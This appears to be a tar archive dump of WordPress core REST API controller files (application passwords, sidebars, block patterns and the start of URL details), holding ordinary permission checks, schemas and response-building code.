	 * @since 5.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_current_item( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$uuid = rest_get_authenticated_app_password();

		if ( ! $uuid ) {
			return new WP_Error(
				'rest_no_authenticated_app_password',
				__( 'Cannot introspect application password.' ),
				array( 'status' => 404 )
			);
		}

		$password = WP_Application_Passwords::get_user_application_password( $user->ID, $uuid );

		if ( ! $password ) {
			return new WP_Error(
				'rest_application_password_not_found',
				__( 'Application password not found.' ),
				array( 'status' => 500 )
			);
		}

		return $this->prepare_item_for_response( $password, $request );
	}

	/**
	 * Performs a permissions check for the request.
	 *
	 * @since 5.6.0
	 * @deprecated 5.7.0 Use `edit_user` directly or one of the specific meta capabilities introduced in 5.7.0.
	 *
	 * @param WP_REST_Request $request
	 * @return true|WP_Error
	 */
	protected function do_permissions_check( $request ) {
		_deprecated_function( __METHOD__, '5.7.0' );

		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		if ( ! current_user_can( 'edit_user', $user->ID ) ) {
			return new WP_Error(
				'rest_cannot_manage_application_passwords',
				__( 'Sorry, you are not allowed to manage application passwords for this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Prepares an application password for a create or update operation.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object|WP_Error The prepared item, or WP_Error object on failure.
	 */
	protected function prepare_item_for_database( $request ) {
		$prepared = (object) array(
			'name' => $request['name'],
		);

		if ( $request['app_id'] && ! $request['uuid'] ) {
			$prepared->app_id = $request['app_id'];
		}

		/**
		 * Filters an application password before it is inserted via the REST API.
		 *
		 * @since 5.6.0
		 *
		 * @param stdClass        $prepared An object representing a single application password prepared for inserting or updating the database.
		 * @param WP_REST_Request $request  Request object.
		 */
		return apply_filters( 'rest_pre_insert_application_password', $prepared, $request );
	}

	/**
	 * Prepares the application password for the REST response.
	 *
	 * @since 5.6.0
	 *
	 * @param array           $item    WordPress representation of the item.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$fields = $this->get_fields_for_response( $request );

		$prepared = array(
			'uuid'      => $item['uuid'],
			'app_id'    => empty( $item['app_id'] ) ? '' : $item['app_id'],
			'name'      => $item['name'],
			'created'   => gmdate( 'Y-m-d\TH:i:s', $item['created'] ),
			'last_used' => $item['last_used'] ? gmdate( 'Y-m-d\TH:i:s', $item['last_used'] ) : null,
			'last_ip'   => $item['last_ip'] ? $item['last_ip'] : null,
		);

		if ( isset( $item['new_password'] ) ) {
			$prepared['password'] = $item['new_password'];
		}

		$prepared = $this->add_additional_fields_to_object( $prepared, $request );
		$prepared = $this->filter_response_by_context( $prepared, $request['context'] );

		$response = new WP_REST_Response( $prepared );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $user, $item ) );
		}

		/**
		 * Filters the REST API response for an application password.
		 *
		 * @since 5.6.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param array            $item     The application password array.
		 * @param WP_REST_Request  $request  The request object.
		 */
		return apply_filters( 'rest_prepare_application_password', $response, $item, $request );
	}

	/**
	 * Prepares links for the request.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_User $user The requested user.
	 * @param array   $item The application password.
	 * @return array The list of links.
	 */
	protected function prepare_links( WP_User $user, $item ) {
		return array(
			'self' => array(
				'href' => rest_url(
					sprintf(
						'%s/users/%d/application-passwords/%s',
						$this->namespace,
						$user->ID,
						$item['uuid']
					)
				),
			),
		);
	}

	/**
	 * Gets the requested user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return WP_User|WP_Error The WordPress user associated with the request, or a WP_Error if none found.
	 */
	protected function get_user( $request ) {
		if ( ! wp_is_application_passwords_available() ) {
			return new WP_Error(
				'application_passwords_disabled',
				__( 'Application passwords are not available.' ),
				array( 'status' => 501 )
			);
		}

		$error = new WP_Error(
			'rest_user_invalid_id',
			__( 'Invalid user ID.' ),
			array( 'status' => 404 )
		);

		$id = $request['user_id'];

		if ( 'me' === $id ) {
			if ( ! is_user_logged_in() ) {
				return new WP_Error(
					'rest_not_logged_in',
					__( 'You are not currently logged in.' ),
					array( 'status' => 401 )
				);
			}

			$user = wp_get_current_user();
		} else {
			$id = (int) $id;

			if ( $id <= 0 ) {
				return $error;
			}

			$user = get_userdata( $id );
		}

		if ( empty( $user ) || ! $user->exists() ) {
			return $error;
		}

		if ( is_multisite() && ! user_can( $user->ID, 'manage_sites' ) && ! is_user_member_of_blog( $user->ID ) ) {
			return $error;
		}

		if ( ! wp_is_application_passwords_available_for_user( $user ) ) {
			return new WP_Error(
				'application_passwords_disabled_for_user',
				__( 'Application passwords are not available for your account. Please contact the site administrator for assistance.' ),
				array( 'status' => 501 )
			);
		}

		return $user;
	}

	/**
	 * Gets the requested application password for a user.
	 *
	 * @since 5.6.0
	 *
	 * @param WP_REST_Request $request The request object.
	 * @return array|WP_Error The application password details if found, a WP_Error otherwise.
	 */
	protected function get_application_password( $request ) {
		$user = $this->get_user( $request );

		if ( is_wp_error( $user ) ) {
			return $user;
		}

		$password = WP_Application_Passwords::get_user_application_password( $user->ID, $request['uuid'] );

		if ( ! $password ) {
			return new WP_Error(
				'rest_application_password_not_found',
				__( 'Application password not found.' ),
				array( 'status' => 404 )
			);
		}

		return $password;
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 5.6.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		return array(
			'context' => $this->get_context_param( array( 'default' => 'view' ) ),
		);
	}

	/**
	 * Retrieves the application password's schema, conforming to JSON Schema.
	 *
	 * @since 5.6.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'application-password',
			'type'       => 'object',
			'properties' => array(
				'uuid'      => array(
					'description' => __( 'The unique identifier for the application password.' ),
					'type'        => 'string',
					'format'      => 'uuid',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'app_id'    => array(
					'description' => __( 'A UUID provided by the application to uniquely identify it. It is recommended to use an UUID v5 with the URL or DNS namespace.' ),
					'type'        => 'string',
					'format'      => 'uuid',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'name'      => array(
					'description' => __( 'The name of the application password.' ),
					'type'        => 'string',
					'required'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
					'minLength'   => 1,
					'pattern'     => '.*\S.*',
				),
				'password'  => array(
					'description' => __( 'The generated password. Only available after adding an application.' ),
					'type'        => 'string',
					'context'     => array( 'edit' ),
					'readonly'    => true,
				),
				'created'   => array(
					'description' => __( 'The GMT date the application password was created.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'last_used' => array(
					'description' => __( 'The GMT date the application password was last used.' ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
				'last_ip'   => array(
					'description' => __( 'The IP address the application password was last used by.' ),
					'type'        => array( 'string', 'null' ),
					'format'      => 'ip',
					'context'     => array( 'view', 'edit' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-sidebars-controller.php000064400000037510151724720270015754 0ustar00<?php
/**
 * REST API: WP_REST_Sidebars_Controller class
 *
 * Original code from {@link https://github.com/martin-pettersson/wp-rest-api-sidebars Martin Pettersson (martin_pettersson@outlook.com)}.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Core class used to manage a site's sidebars.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Sidebars_Controller extends WP_REST_Controller {

	/**
	 * Tracks whether {@see retrieve_widgets()} has been called in the current request.
	 *
	 * @since 5.9.0
	 * @var bool
	 */
	protected $widgets_retrieved = false;

	/**
	 * Sidebars controller constructor.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'sidebars';
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 5.8.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\w-]+)',
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'id'      => array(
							'description' => __( 'The id of a registered sidebar' ),
							'type'        => 'string',
						),
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get sidebars.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$this->retrieve_widgets();
		foreach ( wp_get_sidebars_widgets() as $id => $widgets ) {
			$sidebar = $this->get_sidebar( $id );

			if ( ! $sidebar ) {
				continue;
			}

			if ( $this->check_read_permission( $sidebar ) ) {
				return true;
			}
		}

		return $this->do_permissions_check();
	}

	/**
	 * Retrieves the list of sidebars (active or inactive).
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success.
	 */
	public function get_items( $request ) {
		if ( $request->is_method( 'HEAD' ) ) {
			// Return early as this handler doesn't add any response headers.
			return new WP_REST_Response( array() );
		}

		$this->retrieve_widgets();

		$data              = array();
		$permissions_check = $this->do_permissions_check();

		foreach ( wp_get_sidebars_widgets() as $id => $widgets ) {
			$sidebar = $this->get_sidebar( $id );

			if ( ! $sidebar ) {
				continue;
			}

			if ( is_wp_error( $permissions_check ) && ! $this->check_read_permission( $sidebar ) ) {
				continue;
			}

			$data[] = $this->prepare_response_for_collection(
				$this->prepare_item_for_response( $sidebar, $request )
			);
		}

		return rest_ensure_response( $data );
	}

	/**
	 * Checks if a given request has access to get a single sidebar.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$this->retrieve_widgets();

		$sidebar = $this->get_sidebar( $request['id'] );
		if ( $sidebar && $this->check_read_permission( $sidebar ) ) {
			return true;
		}

		return $this->do_permissions_check();
	}

	/**
	 * Checks if a sidebar can be read publicly.
	 *
	 * @since 5.9.0
	 *
	 * @param array $sidebar The registered sidebar configuration.
	 * @return bool Whether the side can be read.
	 */
	protected function check_read_permission( $sidebar ) {
		return ! empty( $sidebar['show_in_rest'] );
	}

	/**
	 * Retrieves one sidebar from the collection.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$this->retrieve_widgets();

		$sidebar = $this->get_sidebar( $request['id'] );
		if ( ! $sidebar ) {
			return new WP_Error( 'rest_sidebar_not_found', __( 'No sidebar exists with that id.' ), array( 'status' => 404 ) );
		}

		return $this->prepare_item_for_response( $sidebar, $request );
	}

	/**
	 * Checks if a given request has access to update sidebars.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return $this->do_permissions_check();
	}

	/**
	 * Updates a sidebar.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		if ( isset( $request['widgets'] ) ) {
			$sidebars = wp_get_sidebars_widgets();

			foreach ( $sidebars as $sidebar_id => $widgets ) {
				foreach ( $widgets as $i => $widget_id ) {
					// This automatically removes the passed widget IDs from any other sidebars in use.
					if ( $sidebar_id !== $request['id'] && in_array( $widget_id, $request['widgets'], true ) ) {
						unset( $sidebars[ $sidebar_id ][ $i ] );
					}

					// This automatically removes omitted widget IDs to the inactive sidebar.
					if ( $sidebar_id === $request['id'] && ! in_array( $widget_id, $request['widgets'], true ) ) {
						$sidebars['wp_inactive_widgets'][] = $widget_id;
					}
				}
			}

			$sidebars[ $request['id'] ] = $request['widgets'];

			wp_set_sidebars_widgets( $sidebars );
		}

		$request['context'] = 'edit';

		$sidebar = $this->get_sidebar( $request['id'] );

		/**
		 * Fires after a sidebar is updated via the REST API.
		 *
		 * @since 5.8.0
		 *
		 * @param array           $sidebar The updated sidebar.
		 * @param WP_REST_Request $request Request object.
		 */
		do_action( 'rest_save_sidebar', $sidebar, $request );

		return $this->prepare_item_for_response( $sidebar, $request );
	}

	/**
	 * Checks if the user has permissions to make the request.
	 *
	 * @since 5.8.0
	 *
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	protected function do_permissions_check() {
		/*
		 * Verify if the current user has edit_theme_options capability.
		 * This capability is required to access the widgets screen.
		 */
		if ( ! current_user_can( 'edit_theme_options' ) ) {
			return new WP_Error(
				'rest_cannot_manage_widgets',
				__( 'Sorry, you are not allowed to manage widgets on this site.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves the registered sidebar with the given id.
	 *
	 * @since 5.8.0
	 *
	 * @param string|int $id ID of the sidebar.
	 * @return array|null The discovered sidebar, or null if it is not registered.
	 */
	protected function get_sidebar( $id ) {
		return wp_get_sidebar( $id );
	}

	/**
	 * Looks for "lost" widgets once per request.
	 *
	 * @since 5.9.0
	 *
	 * @see retrieve_widgets()
	 */
	protected function retrieve_widgets() {
		if ( ! $this->widgets_retrieved ) {
			retrieve_widgets();
			$this->widgets_retrieved = true;
		}
	}

	/**
	 * Prepares a single sidebar output for response.
	 *
	 * @since 5.8.0
	 * @since 5.9.0 Renamed `$raw_sidebar` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @global array $wp_registered_sidebars The registered sidebars.
	 * @global array $wp_registered_widgets  The registered widgets.
	 *
	 * @param array           $item    Sidebar instance.
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Prepared response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		global $wp_registered_sidebars, $wp_registered_widgets;

		// Restores the more descriptive, specific name for use within this method.
		$raw_sidebar = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php */
			return apply_filters( 'rest_prepare_sidebar', new WP_REST_Response( array() ), $raw_sidebar, $request );
		}

		$id      = $raw_sidebar['id'];
		$sidebar = array( 'id' => $id );

		if ( isset( $wp_registered_sidebars[ $id ] ) ) {
			$registered_sidebar = $wp_registered_sidebars[ $id ];

			$sidebar['status']        = 'active';
			$sidebar['name']          = isset( $registered_sidebar['name'] ) ? $registered_sidebar['name'] : '';
			$sidebar['description']   = isset( $registered_sidebar['description'] ) ? wp_sidebar_description( $id ) : '';
			$sidebar['class']         = isset( $registered_sidebar['class'] ) ? $registered_sidebar['class'] : '';
			$sidebar['before_widget'] = isset( $registered_sidebar['before_widget'] ) ? $registered_sidebar['before_widget'] : '';
			$sidebar['after_widget']  = isset( $registered_sidebar['after_widget'] ) ? $registered_sidebar['after_widget'] : '';
			$sidebar['before_title']  = isset( $registered_sidebar['before_title'] ) ? $registered_sidebar['before_title'] : '';
			$sidebar['after_title']   = isset( $registered_sidebar['after_title'] ) ? $registered_sidebar['after_title'] : '';
		} else {
			$sidebar['status']      = 'inactive';
			$sidebar['name']        = $raw_sidebar['name'];
			$sidebar['description'] = '';
			$sidebar['class']       = '';
		}

		if ( wp_is_block_theme() ) {
			$sidebar['status'] = 'inactive';
		}

		$fields = $this->get_fields_for_response( $request );
		if ( rest_is_field_included( 'widgets', $fields ) ) {
			$sidebars = wp_get_sidebars_widgets();
			$widgets  = array_filter(
				isset( $sidebars[ $sidebar['id'] ] ) ? $sidebars[ $sidebar['id'] ] : array(),
				static function ( $widget_id ) use ( $wp_registered_widgets ) {
					return isset( $wp_registered_widgets[ $widget_id ] );
				}
			);

			$sidebar['widgets'] = array_values( $widgets );
		}

		$schema = $this->get_item_schema();
		$data   = array();
		foreach ( $schema['properties'] as $property_id => $property ) {
			if ( isset( $sidebar[ $property_id ] ) && true === rest_validate_value_from_schema( $sidebar[ $property_id ], $property ) ) {
				$data[ $property_id ] = $sidebar[ $property_id ];
			} elseif ( isset( $property['default'] ) ) {
				$data[ $property_id ] = $property['default'];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$response->add_links( $this->prepare_links( $sidebar ) );
		}

		/**
		 * Filters the REST API response for a sidebar.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response $response    The response object.
		 * @param array            $raw_sidebar The raw sidebar data.
		 * @param WP_REST_Request  $request     The request object.
		 */
		return apply_filters( 'rest_prepare_sidebar', $response, $raw_sidebar, $request );
	}

	/**
	 * Prepares links for the sidebar.
	 *
	 * @since 5.8.0
	 *
	 * @param array $sidebar Sidebar.
	 * @return array Links for the given widget.
	 */
	protected function prepare_links( $sidebar ) {
		return array(
			'collection'               => array(
				'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ),
			),
			'self'                     => array(
				'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $sidebar['id'] ) ),
			),
			'https://api.w.org/widget' => array(
				'href'       => add_query_arg( 'sidebar', $sidebar['id'], rest_url( '/wp/v2/widgets' ) ),
				'embeddable' => true,
			),
		);
	}

	/**
	 * Retrieves the block type' schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'sidebar',
			'type'       => 'object',
			'properties' => array(
				'id'            => array(
					'description' => __( 'ID of sidebar.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'name'          => array(
					'description' => __( 'Unique name identifying the sidebar.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'description'   => array(
					'description' => __( 'Description of sidebar.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'class'         => array(
					'description' => __( 'Extra CSS class to assign to the sidebar in the Widgets interface.' ),
					'type'        => 'string',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'before_widget' => array(
					'description' => __( 'HTML content to prepend to each widget\'s HTML output when assigned to this sidebar. Default is an opening list item element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'after_widget'  => array(
					'description' => __( 'HTML content to append to each widget\'s HTML output when assigned to this sidebar. Default is a closing list item element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'before_title'  => array(
					'description' => __( 'HTML content to prepend to the sidebar title when displayed. Default is an opening h2 element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'after_title'   => array(
					'description' => __( 'HTML content to append to the sidebar title when displayed. Default is a closing h2 element.' ),
					'type'        => 'string',
					'default'     => '',
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'status'        => array(
					'description' => __( 'Status of sidebar.' ),
					'type'        => 'string',
					'enum'        => array( 'active', 'inactive' ),
					'context'     => array( 'embed', 'view', 'edit' ),
					'readonly'    => true,
				),
				'widgets'       => array(
					'description' => __( 'Nested widgets.' ),
					'type'        => 'array',
					'items'       => array(
						'type' => array( 'object', 'string' ),
					),
					'default'     => array(),
					'context'     => array( 'embed', 'view', 'edit' ),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-block-patterns-controller.php000060400000022120151724720270017073 0ustar00<?php
/**
 * REST API: WP_REST_Block_Patterns_Controller class
 *
 * @package    WordPress
 * @subpackage REST_API
 * @since      6.0.0
 */

/**
 * Core class used to access block patterns via the REST API.
 *
 * @since 6.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Patterns_Controller extends WP_REST_Controller {

	/**
	 * Defines whether remote patterns should be loaded.
	 *
	 * @since 6.0.0
	 * @var bool
	 */
	private $remote_patterns_loaded;

	/**
	 * An array that maps old categories names to new ones.
	 *
	 * @since 6.2.0
	 * @var array
	 */
	protected static $categories_migration = array(
		'buttons' => 'call-to-action',
		'columns' => 'text',
		'query'   => 'posts',
	);

	/**
	 * Constructs the controller.
	 *
	 * @since 6.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-patterns/patterns';
	}

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 6.0.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks whether a given request has permission to read block patterns.
	 *
	 * @since 6.0.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view the registered block patterns.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves all block patterns.
	 *
	 * @since 6.0.0
	 * @since 6.2.0 Added migration for old core pattern categories to the new ones.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		if ( ! $this->remote_patterns_loaded ) {
			// Load block patterns from w.org.
			_load_remote_block_patterns(); // Patterns with the `core` keyword.
			_load_remote_featured_patterns(); // Patterns in the `featured` category.
			_register_remote_theme_patterns(); // Patterns requested by current theme.

			$this->remote_patterns_loaded = true;
		}

		$response = array();
		$patterns = WP_Block_Patterns_Registry::get_instance()->get_all_registered();
		foreach ( $patterns as $pattern ) {
			$migrated_pattern = $this->migrate_pattern_categories( $pattern );
			$prepared_pattern = $this->prepare_item_for_response( $migrated_pattern, $request );
			$response[]       = $this->prepare_response_for_collection( $prepared_pattern );
		}
		return rest_ensure_response( $response );
	}

	/**
	 * Migrates old core pattern categories to the new categories.
	 *
	 * Core pattern categories are revamped. Migration is needed to ensure
	 * backwards compatibility.
	 *
	 * @since 6.2.0
	 *
	 * @param array $pattern Raw pattern as registered, before applying any changes.
	 * @return array Migrated pattern.
	 */
	protected function migrate_pattern_categories( $pattern ) {
		// No categories to migrate.
		if (
			! isset( $pattern['categories'] ) ||
			! is_array( $pattern['categories'] )
		) {
			return $pattern;
		}

		foreach ( $pattern['categories'] as $index => $category ) {
			// If the category exists as a key, then it needs migration.
			if ( isset( static::$categories_migration[ $category ] ) ) {
				$pattern['categories'][ $index ] = static::$categories_migration[ $category ];
			}
		}

		return $pattern;
	}

	/**
	 * Prepare a raw block pattern before it gets output in a REST API response.
	 *
	 * @since 6.0.0
	 * @since 6.3.0 Added `source` property.
	 *
	 * @param array           $item    Raw pattern as registered, before any changes.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Resolve pattern blocks so they don't need to be resolved client-side
		// in the editor, improving performance.
		$blocks          = parse_blocks( $item['content'] );
		$blocks          = resolve_pattern_blocks( $blocks );
		$item['content'] = serialize_blocks( $blocks );

		$fields = $this->get_fields_for_response( $request );
		$keys   = array(
			'name'          => 'name',
			'title'         => 'title',
			'content'       => 'content',
			'description'   => 'description',
			'viewportWidth' => 'viewport_width',
			'inserter'      => 'inserter',
			'categories'    => 'categories',
			'keywords'      => 'keywords',
			'blockTypes'    => 'block_types',
			'postTypes'     => 'post_types',
			'templateTypes' => 'template_types',
			'source'        => 'source',
		);
		$data   = array();
		foreach ( $keys as $item_key => $rest_key ) {
			if ( isset( $item[ $item_key ] ) && rest_is_field_included( $rest_key, $fields ) ) {
				$data[ $rest_key ] = $item[ $item_key ];
			}
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );
		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves the block pattern schema, conforming to JSON Schema.
	 *
	 * @since 6.0.0
	 * @since 6.3.0 Added `source` property.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'block-pattern',
			'type'       => 'object',
			'properties' => array(
				'name'           => array(
					'description' => __( 'The pattern name.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'title'          => array(
					'description' => __( 'The pattern title, in human readable format.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'content'        => array(
					'description' => __( 'The pattern content.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'description'    => array(
					'description' => __( 'The pattern detailed description.' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'viewport_width' => array(
					'description' => __( 'The pattern viewport width for inserter preview.' ),
					'type'        => 'number',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'inserter'       => array(
					'description' => __( 'Determines whether the pattern is visible in inserter.' ),
					'type'        => 'boolean',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'categories'     => array(
					'description' => __( 'The pattern category slugs.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'keywords'       => array(
					'description' => __( 'The pattern keywords.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'block_types'    => array(
					'description' => __( 'Block types that the pattern is intended to be used with.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'post_types'     => array(
					'description' => __( 'An array of post types that the pattern is restricted to be used with.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'template_types' => array(
					'description' => __( 'An array of template types where the pattern fits.' ),
					'type'        => 'array',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'source'         => array(
					'description' => __( 'Where the pattern comes from e.g. core' ),
					'type'        => 'string',
					'readonly'    => true,
					'context'     => array( 'view', 'edit', 'embed' ),
					'enum'        => array(
						'core',
						'plugin',
						'theme',
						'pattern-directory/core',
						'pattern-directory/theme',
						'pattern-directory/featured',
					),
				),
			),
		);

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-url-details-controller.php000064400000050111151724720270016375 0ustar00<?php
/**
 * REST API: WP_REST_URL_Details_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Controller which provides REST endpoint for retrieving information
 * from a remote site's HTML response.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_URL_Details_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 5.9.0
	 */
	public function __construct() {
